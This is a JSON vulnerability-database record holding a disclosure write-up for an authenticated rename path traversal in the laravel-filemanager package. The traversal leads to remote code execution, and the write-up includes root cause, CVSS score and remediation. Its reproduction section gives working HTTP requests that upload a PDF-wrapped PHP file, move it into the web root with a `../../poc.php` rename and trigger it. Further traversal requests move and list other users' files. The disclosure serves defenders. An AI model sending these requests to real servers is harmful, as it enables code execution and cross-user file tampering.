{"uuid": "1d16eed8-4d94-46f6-aff8-ce0bada7bdbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21546", "type": "seen", "source": "https://gist.github.com/qianqiusujiu/95a849d259b0a1f9542888119faa845d", "content": "# laravel-filemanager Rename Path Traversal Remote Code Execution (v2.15.1)\n\n**CWE-22 \u00b7 Authenticated path traversal in rename \u00b7 Arbitrary file move with attacker-controlled extension, leading to remote code execution on default configuration**\n\n&gt; **Vendor:** UniSharp (https://github.com/UniSharp)\n&gt; **Product:** laravel-filemanager (Laravel package, https://github.com/UniSharp/laravel-filemanager)\n&gt; **Affected version:** 2.15.1 (commit 28b491d, master as of 2026-09-28); within-root impact present in all versions\n&gt; **Affected endpoints:** GET /filemanager/rename (route `lfm.rename`, default middleware `['web','auth']`)\n&gt; **Disclosed via:** VulDB (submission #xxxxxx)\n&gt; **Note:** Validation used only a harmless md5 marker payload; no credentials were extracted, and no sensitive values appear in this disclosure.\n\n## 1. Summary\n\nThe rename endpoint of laravel-filemanager accepts `working_dir`, `file` and `new_name` straight from the request and builds the destination path by raw concatenation, with no `..` filtering, `basename()` or `realpath()` anywhere in `src/`. The default configuration disables both `alphanumeric_filename` and `alphanumeric_directory` validation, and rename never re-applies the upload-side extension/mime checks. Any authenticated LFM user can therefore move an uploaded file into any directory inside the storage disk \u2014 including the web-served storage root \u2014 and choose an arbitrary extension, e.g. rename an uploaded `poc.pdf` to `../../poc.php`, which executes as PHP under the web root: authenticated remote code execution on a stock install.\n\nThis issue is distinct from the package's previously published advisories: **CVE-2022-40734** covers a path traversal in the *download* endpoint (arbitrary file read via `DownloadController`), and **CVE-2024-21546** covers a trailing-dot extension bypass in the *upload* endpoint (fixed in 2.9.1). Neither addresses the rename endpoint's arbitrary *move* with controlled extension, and v2.15.1 still contains zero `..` sanitization in `src/`.\n\n## 2. Root Cause\n\n| File | Line | Role |\n|---|---|---|\n| `src/Controllers/RenameController.php` | 17-18 | `old_name = helper-&gt;input('file')`, `new_name = helper-&gt;input('new_name')` \u2014 raw request input |\n| `src/Lfm.php` | 31-34 | `input()` returns raw request input, no sanitization |\n| `src/Controllers/RenameController.php` | 39-58 | `alphanumeric_filename`/`alphanumeric_directory` validation block \u2014 skipped entirely (both default to `false`) |\n| `src/Controllers/RenameController.php` | 63 | existence check `setName($new_name)-&gt;exists()` returns `false` for a free traversal target, so the flow proceeds |\n| `src/LfmPath.php` | 71-91, 181-198 | `path('storage')` = `getCategoryName() . normalizeWorkingDir()`; `normalizeWorkingDir()` concatenates raw `working_dir` + raw `new_name`. No `..`/`basename()`/`realpath()` filtering anywhere in `src/` |\n| `src/LfmStorageRepository.php` | 33 | sink: `$this-&gt;disk-&gt;move($this-&gt;path, $new_lfm_path-&gt;path('storage'))` \u2014 raw paths to the Flysystem disk |\n\n## 3. Prerequisites\n\n- Any authenticated LFM-enabled account (low-privilege; default middleware `['web','auth']`).\n- Package defaults (`config/lfm.php` not published): `alphanumeric_filename=false`, `alphanumeric_directory=false`, `should_validate_mime=true`, blocklist `php`/`html`.\n- A web-writable target served with PHP handling \u2014 the default `public/storage` symlink exposes the `public` disk root at `/storage`.\n- Version boundary: arbitrary move **within** the storage root (sufficient for the RCE chain) works on every version including 2.15.1 on Flysystem v2/v3. Writing **outside** the storage root additionally requires Flysystem v1 stacks (Laravel 8 and earlier), because Flysystem v2/v3 raise `PathTraversalDetected`. The demonstrated RCE does not leave the disk root.\n\n## 4. Reproduction\n\n1) Upload a PDF-wrapped PHP marker (passes the default `application/pdf` mime whitelist; a direct `.php` upload is correctly rejected \u2014 rename is the bypass that never re-validates):\n\n```http\nPOST /filemanager/upload?type=file HTTP/1.1\nHost: target\nCookie: \nX-XSRF-TOKEN: \nContent-Type: multipart/form-data; boundary=----poc\n\n------poc\nContent-Disposition: form-data; name=\"upload\"; filename=\"poc.pdf\"\nContent-Type: application/pdf\n\n%PDF-1.4\n\n%%EOF\n------poc--\n```\n\n2) Rename with `..` traversal \u2014 escape the private folder and switch the extension to `.php` in one step:\n\n```http\nGET /filemanager/rename?working_dir=/1&amp;file=poc.pdf&amp;new_name=../../poc.php HTTP/1.1\nHost: target\nCookie: \n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html; charset=UTF-8\n\nOK\n```\n\nResult on disk: `storage/app/public/files/1/poc.pdf` is gone; `storage/app/public/poc.php` exists (web-served via the `public/storage` symlink).\n\n3) Trigger execution:\n\n```http\nGET /storage/poc.php HTTP/1.1\nHost: target\n```\n\n```http\nHTTP/1.1 200 OK\n\n%PDF-1.4\nLFM-01-TEST-302fac1d6d73cf4fdf2c9919195df864%%EOF\n```\n\n`md5(\"poc\")` = `302fac1d6d73cf4fdf2c9919195df864` \u2014 attacker-uploaded content now executes as PHP under the web root. Scripted version: `poc/exploit.sh` (payload builder: `poc/make-payload.sh`).\n\n## 5. Confirmed Techniques\n\nVerified end-to-end on a stock install (laravel/framework 13.33.0, league/flysystem 3.36.0, PHP 8.4.26, package v2.15.1 byte-identical to commit 28b491d, default config):\n\n- Direct `.php` upload is blocked (`\"Invalid file detected\"`) \u2014 upload validation works; the `%PDF-1.4`-wrapped marker passes as `application/pdf`.\n- `GET /filemanager/rename?working_dir=/1&amp;file=poc.pdf&amp;new_name=../../poc.php` \u2192 HTTP 200; file moved to the disk root with `.php` extension, no re-validation; `GET /storage/poc.php` echoed `LFM-01-TEST-302fac1d6d73cf4fdf2c9919195df864` = `md5(\"poc\")` \u2014 authenticated RCE.\n- Cross-user arbitrary move: `new_name=../2/planted-by-user1.php` (as user 1) wrote into user 2's private folder with an attacker-chosen name/extension (HTTP 200).\n- Cross-user listing via the same unvalidated `working_dir`: `GET /filemanager/jsonitems?type=file&amp;working_dir=/1/../2` (as user 1) returned user 2's items \u2014 `MultiUser` middleware checks `working_dir` with `Str::startsWith()` only.\n- Root-escape probe `new_name=../../../../escape-target.txt` \u2192 HTTP 500, `League\\Flysystem\\PathTraversalDetected` on Flysystem v3; no write above the disk root. Root escape therefore requires Flysystem v1 (Laravel 8 and earlier / older LFM versions without the `flysystem &gt;=2.0.0` composer floor that v2.15.1 has).\n\n## 6. Impact\n\nAny authenticated LFM user can plant attacker-controlled content as an arbitrary `.php` file inside the web-served storage root of a default installation, achieving remote code execution with the privileges of the web server user (low-privilege account required \u2014 `PR:L`). The same primitive enables cross-user arbitrary file moves (integrity), and on Flysystem v1 stacks extends to writes outside the storage root. Validation used a harmless marker payload only; no credentials or sensitive data were extracted.\n\n## 7. CVSS 3.1\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` (Base 8.8 \u2014 High)\n\n## 8. Remediation\n\n1. Normalize path segments and reject any `..` component inside `LfmPath::normalizeWorkingDir()` and `LfmPath::setName()` before any storage operation.\n2. Re-apply the upload extension/mime validation to `new_name` in `RenameController` before `move()`.\n3. Fix `MultiUser`'s `working_dir` check (normalize before comparing instead of `Str::startsWith()`).\n\n## 9. References\n\n- Project: https://github.com/UniSharp/laravel-filemanager\n- CWE-22 (Improper Limitation of a Pathname to a Restricted Directory): https://cwe.mitre.org/data/definitions/22.html\n- Related but distinct \u2014 CVE-2022-40734 (download-endpoint read traversal): https://www.cve.org/CVERecord?id=CVE-2022-40734\n- Related but distinct \u2014 CVE-2024-21546 (upload-endpoint trailing-dot extension bypass, fixed 2.9.1): https://www.cve.org/CVERecord?id=CVE-2024-21546\n- External disclosure: [GIST_URL]\n- VulDB submission #xxxxxx\n\n---\n*All validation was performed in a local, isolated environment. The temporary environment was destroyed after testing.*\n", "creation_timestamp": "2026-09-28T02:12:58.000000Z"}